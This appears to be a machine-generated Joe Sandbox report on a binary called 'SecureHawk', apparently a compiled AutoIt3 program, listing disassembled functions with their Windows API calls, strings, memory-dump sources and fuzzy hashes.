Opcode ID: dfa9de8c88922f0d89a3be828e60e52e658de649d5ea1c1aadf82b88e7d0bf48
Instruction ID: adc7b68d4ca32c1295bc9f62c61a377ba5fdae36caace87adefd46c5308b5837
Opcode Fuzzy Hash: dfa9de8c88922f0d89a3be828e60e52e658de649d5ea1c1aadf82b88e7d0bf48
Instruction Fuzzy Hash: E7E01AB2800304AFCB869F70D80866DBBF9EF8C350F108054FA59A7210DB7895558F50

Function 0036B354 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON

Download Yara Rule

APIs

__itow_s.LIBCMT ref: 0036B460

Strings

xr;, xrefs: 0036B4C2
xr;, xrefs: 0036B496

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: __itow_s
String ID: xr;$xr;
API String ID: 3653519197-188782526
Opcode ID: 37283d13a4e798eeaa85c1702ab59fa329ed3adbc863dc13d2799218ea58c3b1
Instruction ID: 0ccfd117c1d2229101d068594b4a306720a3e3294d01f660d8ce23901042dcec
Opcode Fuzzy Hash: 37283d13a4e798eeaa85c1702ab59fa329ed3adbc863dc13d2799218ea58c3b1
Instruction Fuzzy Hash: 31B17D74A00109EBCB25DF54C891EBAFBB9EF48300F148569FA45DB296DB71E981CF60

Function 0034BC6F Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0034BE3A

Strings

Container, xrefs: 0034BDB7
AutoIt3GUI, xrefs: 0034BDB2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: 3e51177faefcbb32749c8a1fb6f7139adfb485c5900ed6a227349ac31fb2ab95
Instruction ID: 71c6573310802797d772a4c0783cfbff30e179362dbb26fb7f5958f8c1a232d9
Opcode Fuzzy Hash: 3e51177faefcbb32749c8a1fb6f7139adfb485c5900ed6a227349ac31fb2ab95
Instruction Fuzzy Hash: F8913A70600601AFDB55DF64C884AA6B7F9FF49710F10856DE94ACF691DBB1E881CB60

Function 0035B45C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON

Download Yara Rule

APIs

Part of subcall function 0030436A: _wcscpy.LIBCMT ref: 0030438D

Part of subcall function 002F4D37: __itow.LIBCMT ref: 002F4D62
Part of subcall function 002F4D37: __swprintf.LIBCMT ref: 002F4DAC

__wcsnicmp.LIBCMT ref: 0035B4DD
WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0035B5A6

Strings

LPT, xrefs: 0035B4D7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: d0047254c15cb5739a24847aba1c492cf0c9a394907785a9287bf312945c964c
Instruction ID: ae8498c897a19c59aba78f016a62b4d6b4657423d5a53aae1933d9838fa2dc84
Opcode Fuzzy Hash: d0047254c15cb5739a24847aba1c492cf0c9a394907785a9287bf312945c964c
Instruction Fuzzy Hash: A8619375A00219AFCB19EF54C891EBEF7B4EF09311F114469F946AB2A1D770AE44CB50

Function 00336FF4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0033709B
_memmove.LIBCMT ref: 003370F5

Strings

#V0, xrefs: 0033716F, 0033CA4C, 0033CA68

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove
String ID: #V0
API String ID: 4104443479-259189717
Opcode ID: 5339cc015c2a9ceb2914e43671e2f12214decd6ef10b8ca14eb37c17c7571bb6
Instruction ID: cd80ceb6552ccc0f83f1186927c1e11ed24b1417cd230fc31ee381393a1e79dd
Opcode Fuzzy Hash: 5339cc015c2a9ceb2914e43671e2f12214decd6ef10b8ca14eb37c17c7571bb6
Instruction Fuzzy Hash: B05182B0E01609DFCF2ACFA8C984AAEB7F5FF44314F108529E85AD7250E731A955CB51

Function 002FE00D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 002FE01E
GlobalMemoryStatusEx.KERNEL32(?), ref: 002FE037

Strings

@, xrefs: 002FE02B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: c928ab29d328ae2b7adaf65c3fb0b98879f445f9a2bc1fcefd30d717565daec4
Instruction ID: c5a142f182505595e87b64328e4e1d9a65eada67b8564fdb8cf3048cbb9ac410
Opcode Fuzzy Hash: c928ab29d328ae2b7adaf65c3fb0b98879f445f9a2bc1fcefd30d717565daec4
Instruction Fuzzy Hash: 6F5178724187489BE321AF10E886BABFBFCFB84354F41485DF2D8410A1DBB19579CB56

Function 0032EBD6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0032EBE1

Strings

Dt;, xrefs: 002F5661
Dt;, xrefs: 002F57DC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ClearVariant
String ID: Dt;$Dt;
API String ID: 1473721057-3388014839
Opcode ID: 71d49d6e77cbba1dc2b8350b9d43d1ca9aa14bc6ed824f8375ec899bac26133e
Instruction ID: 7ae0faaca53d2cf6b1d30f180b57a4d34f981d1bbb234375a1acb4b267c0ace2
Opcode Fuzzy Hash: 71d49d6e77cbba1dc2b8350b9d43d1ca9aa14bc6ed824f8375ec899bac26133e
Instruction Fuzzy Hash: 0C414978614A16CFD715DF19C080A2AFBE5FF98384F64886DEA958B320D770E891CF81

Function 00362A3E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00362A4E
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00362A84

Strings

|, xrefs: 00362A55

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 37b77ada3c554d3afa46a36b40eb7d31478b1d52bdf1d2f629124150c19e35f8
Instruction ID: db49bd599671d19091f389e3f3e5bf8baca08a375259dfd6bc094a914b2cf2af
Opcode Fuzzy Hash: 37b77ada3c554d3afa46a36b40eb7d31478b1d52bdf1d2f629124150c19e35f8
Instruction Fuzzy Hash: 13313971C11219ABCF56EFA0CC85AEFBFB8FF08304F104059F814AA166EB319956DB60

Function 00376E50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00376F04
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00376F40

Strings

static, xrefs: 00376EA0

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 409d2b2b60376bc4fa84a0f0cd231b69707a09382fa9aac3922d1e745be89cdc
Instruction ID: 027e04d2556c8a5375ee3ecd1e076842de5658f3d0d6e8c145253360584bc7e4
Opcode Fuzzy Hash: 409d2b2b60376bc4fa84a0f0cd231b69707a09382fa9aac3922d1e745be89cdc
Instruction Fuzzy Hash: AD31C171100608AEEB229F34DC91BFB73B9FF88764F019619F99987191DB34AC91DB60

Function 00352EB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00352F24
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00352F5F

Strings

0, xrefs: 00352F1D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: a23d122f621887ef4351c74b1da805a96b33816dfabba9e61a74a2b14402214c
Instruction ID: 2ff1440d230a80b8f24e0c06447996822aad37790157c8117e25084a707fdb2b
Opcode Fuzzy Hash: a23d122f621887ef4351c74b1da805a96b33816dfabba9e61a74a2b14402214c
Instruction Fuzzy Hash: DC31D532600205ABEB2A9F48E885FAFBBB8EF06351F150019FD85D61B0D7709A48DB51

Function 00376AC1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00376B4E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00376B59

Strings

Combobox, xrefs: 00376B1B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 661c1d3fb582371653ed3c7a697bfe4e845bb90be1a9e3903c4d8e3d0f194e94
Instruction ID: 67125facf33863a0fd1883a7bb2aca5e0bcc9ba818993ab61419b12fa6d7e878
Opcode Fuzzy Hash: 661c1d3fb582371653ed3c7a697bfe4e845bb90be1a9e3903c4d8e3d0f194e94
Instruction Fuzzy Hash: B411B671300608AFEF239E15CCA2EFB376EEB893A4F118125F91CE7291D6799C518760

Function 0037B18A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

GetActiveWindow.USER32 ref: 0037B1C3
EnumChildWindows.USER32(?,0037AEA3,00000000), ref: 0037B23D

Strings

6, xrefs: 0037B243

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ActiveChildEnumLongWindows
String ID: 6
API String ID: 3814560230-4065977057
Opcode ID: 1c5b853997ddebab9a8259c665d1c5d190dd7bee03f44edad794d942e0328dc7
Instruction ID: b946cf7e816814be83df0a8000aa103019efb300eeed4efcaf32f40077d77759
Opcode Fuzzy Hash: 1c5b853997ddebab9a8259c665d1c5d190dd7bee03f44edad794d942e0328dc7
Instruction Fuzzy Hash: 98212135204201DFC726DF28D852AA5B3F9EF49364F21471DE969877A1CB346810CF60

Function 00376FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 002F2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002F214F
Part of subcall function 002F2111: GetStockObject.GDI32(00000011), ref: 002F2163
Part of subcall function 002F2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002F216D

GetWindowRect.USER32(00000000,?), ref: 0037705E
GetSysColor.USER32(00000012), ref: 00377078

Strings

static, xrefs: 0037703B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: fae6e191d6e0c6bbe47dc2096c5295399bf8ebd5c55118f8d1325a124f9bf462
Instruction ID: a509b893a528d5ca0595ec5b91b7b49fdf65aca699d44975e41c47f12f18c12f
Opcode Fuzzy Hash: fae6e191d6e0c6bbe47dc2096c5295399bf8ebd5c55118f8d1325a124f9bf462
Instruction Fuzzy Hash: 66214772614209AFDB15DFB8CC46EFABBA8EB08304F014658FE59D2241E734A850DB50

Function 00376D0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00376D8F
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00376D9E

Strings

edit, xrefs: 00376D73

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 92f0f1801c7381f714faf9ef6baa4e20cfb4747d6f27abddde4f8d1b87c8e996
Instruction ID: a31e9866ac1d3621287e09595cf60fc1ba29e4a8f8a68d1ad96977e552c10ee7
Opcode Fuzzy Hash: 92f0f1801c7381f714faf9ef6baa4e20cfb4747d6f27abddde4f8d1b87c8e996
Instruction Fuzzy Hash: 5811B231620608AFEB329E64DCA6AF7376DEF05368F118314FA68971E0C779DC549B60

Function 00352FC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00353036
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00353055

Strings

0, xrefs: 0035302C

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 666aa102f0eea2fc82f1d90b66aab2461ee30ee87a8361260f4327d47f568e09
Instruction ID: 99d77ed7e7d3a07199c0f1aafe0e793ae5fc76c59659d1d0d26e62a925f7aa8f
Opcode Fuzzy Hash: 666aa102f0eea2fc82f1d90b66aab2461ee30ee87a8361260f4327d47f568e09
Instruction Fuzzy Hash: BE11BE32900314ABDB26DB58DC04FA973BCAB06785F060125ED16E72F0D730AE08C7A1

Function 002F34E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 002F351D
DestroyWindow.USER32(?,?,00304E61), ref: 002F3576

Strings

h8, xrefs: 002F34E5

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: DeleteDestroyObjectWindow
String ID: h8
API String ID: 2587070983-1078280285
Opcode ID: 9e8a0b87a3a93c334d89dd76908d974f2244d95dfc5cb27b765259fc617bd82b
Instruction ID: cb0ceb7d2d7000ac2a59ab18c00a167ac1dfc8341a860f2d3e34a991aaa6c53f
Opcode Fuzzy Hash: 9e8a0b87a3a93c334d89dd76908d974f2244d95dfc5cb27b765259fc617bd82b
Instruction Fuzzy Hash: D6215470621215CFDB1ADF14E856B35B3E9ABC8758F444279E606CB262CB39DE60CF40

Function 00362686 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 003626DC
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00362705

Strings

<local>, xrefs: 003626CD

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 0acabe3fe1e98c861f072487427b27f6972f786b04f472851eeafc10b8a109e6
Instruction ID: e8c8a1e9e20421671d34dc1c90fcaf5fde9e007dc1e4798b61df4fa853a6de1c
Opcode Fuzzy Hash: 0acabe3fe1e98c861f072487427b27f6972f786b04f472851eeafc10b8a109e6
Instruction Fuzzy Hash: FB11E370501A25BADB268F51CC84EF7FBACFF02351F12C11AF50556404D2B06994CBF0

Function 0035CF83 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 0035CFED

Strings

0.0.0.0, xrefs: 0035CFFB
L,8, xrefs: 0035CF9B

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscmp
String ID: 0.0.0.0$L,8
API String ID: 856254489-2746457930
Opcode ID: eb168fe4729bdb348696f9729fe003f5f152bdca946f4eeedb7f38bf42a9f80c
Instruction ID: 6ea3324ee48d022a41534c06fba3e1fe7741b924bafa9f7073c5947be5581e49
Opcode Fuzzy Hash: eb168fe4729bdb348696f9729fe003f5f152bdca946f4eeedb7f38bf42a9f80c
Instruction Fuzzy Hash: A411C435310208AFCB15EE14C981EAAB7B9AF89714F108099FE095F3A1CA70ED46CB50

Function 0036823D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003684A8: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,00368265,?,00000000,?,?), ref: 003684BF

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00368268
htons.WSOCK32(00000000,?,00000000), ref: 003682A5

Strings

255.255.255.255, xrefs: 00368280

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 1a48bbdcb5391088fa5b5b5dadf07cba6e14e2663bb455d50957158ba08efaed
Instruction ID: 86077dc5b66c2727e09732ecf300f586a39aa7161e8e2bca13901776899d237e
Opcode Fuzzy Hash: 1a48bbdcb5391088fa5b5b5dadf07cba6e14e2663bb455d50957158ba08efaed
Instruction Fuzzy Hash: 2C11E535100605ABDB12EF54CC56FBDB374FF04320F108616F9115B2C5DA71A805C791

Function 003497A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 0034B57D: GetClassNameW.USER32(?,?,000000FF), ref: 0034B5A0

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 0034980E

Strings

ComboBox, xrefs: 003497AD
ListBox, xrefs: 003497D8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
